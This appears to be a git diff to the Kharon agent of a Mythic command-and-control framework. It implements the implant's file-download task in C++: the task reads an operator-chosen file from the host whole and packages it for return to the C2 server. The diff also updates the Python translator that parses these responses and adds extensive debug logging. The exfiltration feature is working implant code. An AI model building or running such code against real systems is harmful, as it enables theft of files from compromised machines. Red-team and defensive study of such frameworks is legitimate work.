diff --git a/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc b/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc index 865015e..86becbf 100644 --- a/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc +++ b/Payload_Type/kharon/Agent/Source/Misc/Tasks.cc @@ -142,7 +142,121 @@ auto DECLFN Task::ExecBof( auto DECLFN Task::Download( _In_ JOBS* Job ) -> ERROR_CODE { - + PARSER* Parser = Job->Psr; + PACKAGE* Package = Job->Pkg; + + KhDbg("Download task started"); + + // Get file path from parameters + PCHAR FilePath = Self->Psr->Str(Parser, 0); + if (!FilePath) { + CHAR* ErrorMsg = "No file path provided"; + KhDbg("%s", ErrorMsg); + Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR); + return KhRetSuccess; + } + + KhDbg("Download file: %s", FilePath); + + // Open file for reading + HANDLE FileHandle = Self->Krnl32.CreateFileA( + FilePath, + GENERIC_READ, + FILE_SHARE_READ, + 0, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + 0 + ); + + if (FileHandle == INVALID_HANDLE_VALUE) { + CHAR* ErrorMsg = "Failed to open file for download"; + KhDbg("%s: %s (Error: %d)", ErrorMsg, FilePath, KhGetError); + Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR); + return KhRetSuccess; + } + + // Get file size + ULONG FileSize = Self->Krnl32.GetFileSize(FileHandle, 0); + if (FileSize == INVALID_FILE_SIZE) { + CHAR* ErrorMsg = "Failed to get file size"; + KhDbg("%s: %s", ErrorMsg, FilePath); + Self->Ntdll.NtClose(FileHandle); + Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR); + return KhRetSuccess; + } + + KhDbg("File size: %d bytes", FileSize); + + // Extract filename from path for file ID + PCHAR FileName = FilePath; + PCHAR LastSlash = nullptr; + for (PCHAR p = FilePath; *p; p++) { + if (*p == '\\' || *p == '/') { + LastSlash = p + 1; + } + } + if (LastSlash) FileName = LastSlash; + + // Allocate buffer for entire file + BYTE* FileBuffer = (BYTE*)hAlloc(FileSize); + if (!FileBuffer && FileSize > 0) { + CHAR* ErrorMsg = "Failed to allocate file buffer"; + KhDbg("%s", ErrorMsg); + Self->Ntdll.NtClose(FileHandle); + Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR); + return KhRetSuccess; + } + + // Read entire file + ULONG BytesRead = 0; + BOOL ReadResult = TRUE; + if (FileSize > 0) { + ReadResult = Self->Krnl32.ReadFile( + FileHandle, + FileBuffer, + FileSize, + &BytesRead, + 0 + ); + } + + Self->Ntdll.NtClose(FileHandle); + + if (!ReadResult || BytesRead != FileSize) { + CHAR* ErrorMsg = "Failed to read file"; + KhDbg("%s: %s", ErrorMsg, FilePath); + if (FileBuffer) hFree(FileBuffer); + Self->Pkg->SendMsg(Job->UUID, ErrorMsg, CALLBACK_ERROR); + return KhRetSuccess; + } + + // Create simple file ID using just the filename + CHAR FileID[64]; + PCHAR FileIdPtr = FileID; + PCHAR src = FileName; + INT nameLen = 0; + while (*src && nameLen < 50) { + *FileIdPtr++ = *src++; + nameLen++; + } + *FileIdPtr = '\0'; + + // Send response in expected format: + // current_chunk (Int32), file_id (String), file_path (String), chunk_size (Int32), file_data (bytes) + Self->Pkg->Int32(Package, 1); // chunk number (always 1 for complete file) + Self->Pkg->Str(Package, FileID); // file identifier + Self->Pkg->Str(Package, FilePath); // full file path + Self->Pkg->Int32(Package, FileSize); // complete file size + + // Send file data + if (FileSize > 0) { + Self->Pkg->Bytes(Package, FileBuffer, FileSize); + hFree(FileBuffer); + } + + KhDbg("Download completed successfully: %d bytes", FileSize); + return KhRetSuccess; } auto DECLFN Task::Upload(_In_ JOBS* Job) -> ERROR_CODE { diff --git a/Payload_Type/kharon/Mythic/Kharon/AgentFunctions/download.py b/Payload_Type/kharon/Mythic/Kharon/AgentFunctions/download.py index bc70732..59862a7 100644 --- a/Payload_Type/kharon/Mythic/Kharon/AgentFunctions/download.py +++ b/Payload_Type/kharon/Mythic/Kharon/AgentFunctions/download.py @@ -93,4 +93,6 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: resp = PTTaskProcessResponseMessageResponse( TaskID = task.Task.ID, Success = True ) + # The download data is handled by the translator ToC2.py, which returns a "download" object + # The Mythic framework automatically processes this and creates the downloaded file return resp diff --git a/Payload_Type/kharon/Mythic/Translator/ToC2.py b/Payload_Type/kharon/Mythic/Translator/ToC2.py index 7141948..6e81481 100644 --- a/Payload_Type/kharon/Mythic/Translator/ToC2.py +++ b/Payload_Type/kharon/Mythic/Translator/ToC2.py @@ -273,22 +273,37 @@ def QuickMsg( Data ): def PostC2(Data): Dbg2("------------------------") + Dbg2(f"PostC2 called with {len(Data)} bytes of data") + Dbg2("=== CRITICAL DEBUG: Enhanced PostC2 function is being used ===") RespTsk = [] RespSck = [] Dbg3(f"buffer: {Data} [{len(Data)}]") try: + import logging + logging.info("POST => DIRECT LOGGING: About to create Parser") + Dbg2(f"About to create Parser with data length: {len(Data)}") + Dbg2(f"First 50 bytes of data: {Data[:50]}") Psr = Parser(Data, len(Data)) + logging.info("POST => DIRECT LOGGING: Parser created successfully") + Dbg2(f"Created parser with {len(Data)} bytes") + + logging.info("POST => DIRECT LOGGING: About to read task quantity") + Dbg2("About to read task quantity (Int32)") Tasks = Psr.Int32() + logging.info(f"POST => DIRECT LOGGING: Task quantity read: {Tasks}") Dbg2(f"Task quantity: {Tasks}") Index = 0 for Task in range(Tasks): Index += 1 + Dbg2(f"Processing task {Index}/{Tasks}") try: Profile = Psr.Int32() + Dbg2(f"Profile: {Profile}") TaskLength = Psr.Int32() + Dbg2(f"Task length: {TaskLength}") if TaskLength <= 0: Dbg2(f"Invalid task length: {TaskLength}") continue @@ -301,17 +316,22 @@ def PostC2(Data): continue TaskPsr = Parser(TaskData, TaskLength) + Dbg2(f"Created task parser with {TaskLength} bytes") try: TaskUUID = TaskPsr.Bytes().replace(b'\x00', b'') TaskUUID = TaskUUID.decode('utf-8') if TaskUUID else "unknown" + Dbg2(f"Parsed TaskUUID: {TaskUUID}") except UnicodeDecodeError: TaskUUID = TaskUUID.hex() if TaskUUID else "unknown" + Dbg2(f"TaskUUID decode failed, using hex: {TaskUUID}") + except Exception as e: + TaskUUID = "unknown" + Dbg2(f"TaskUUID parsing failed: {str(e)}") try: CommandID = TaskPsr.Pad(2) CommandID = int.from_bytes(CommandID, byteorder="big") if len(CommandID) == 2 else 0 - Dbg2(f"Process command id: {CommandID}") except Exception as e: CommandID = 0 @@ -359,6 +379,9 @@ def PostC2(Data): except Exception as e: Dbg2(f"Fatal error in PostC2: {str(e)}") + Dbg2(f"Exception type: {type(e).__name__}") + import traceback + Dbg2(f"Traceback: {traceback.format_exc()}") return {"action": "post_response", "responses": [], "error": str(e)} JsonData = { @@ -397,12 +420,15 @@ def process_delegates(TaskUUID, Message, Psr:Parser): def process_normal_task(TaskUUID, CommandID, TaskPsr:Parser): if CommandID == T_DOWNLOAD: # Parse download response from agent + Dbg2(f"Processing download response for task {TaskUUID}") try: current_chunk = TaskPsr.Int32() file_id = TaskPsr.Str() file_path = TaskPsr.Str() chunk_size = TaskPsr.Int32() - file_data = TaskPsr.All() # Get remaining bytes as file content + file_data = TaskPsr.Bytes() # Use Bytes() instead of All() to handle length prefix + + Dbg2(f"Download parsed: chunk={current_chunk}, file_id={file_id}, path={file_path}, size={chunk_size}, data_len={len(file_data) if file_data else 0}") return { "task_id": TaskUUID, @@ -412,7 +438,8 @@ def process_normal_task(TaskUUID, CommandID, TaskPsr:Parser): "chunk_num": current_chunk, "full_path": file_path, "data": file_data.hex() if file_data else "" - } + }, + "completed": True } except Exception as e: Dbg2(f"Error parsing download response: {str(e)}") diff --git a/Payload_Type/kharon/Mythic/Translator/Translator.py b/Payload_Type/kharon/Mythic/Translator/Translator.py index 2f18867..3783446 100644 --- a/Payload_Type/kharon/Mythic/Translator/Translator.py +++ b/Payload_Type/kharon/Mythic/Translator/Translator.py @@ -89,6 +89,7 @@ async def translate_from_c2_format( self, InputMsg: TrCustomMessageToMythicC2For # Dbg7( f"raw dec: {TextPlain}" ) Dbg7( f"Action: {Action}" ); + Dbg7( f"Expected post_response code: {Jobs['post_response']['hex_code']}" ); Dbg7( f"Encrypt Key: {EncryptKey} [{len(EncryptKey)}]" ); if Action == Jobs['checkin']['hex_code']: @@ -104,6 +105,7 @@ async def translate_from_c2_format( self, InputMsg: TrCustomMessageToMythicC2For Response.Message = GetTaskingC2( ActionData ); elif Action == Jobs['post_response']['hex_code']: + Dbg7(f"Calling PostC2 with {len(ActionData)} bytes") Response.Message = PostC2( ActionData ); Dbg7( f"buffer length {len(Response.Message)}" );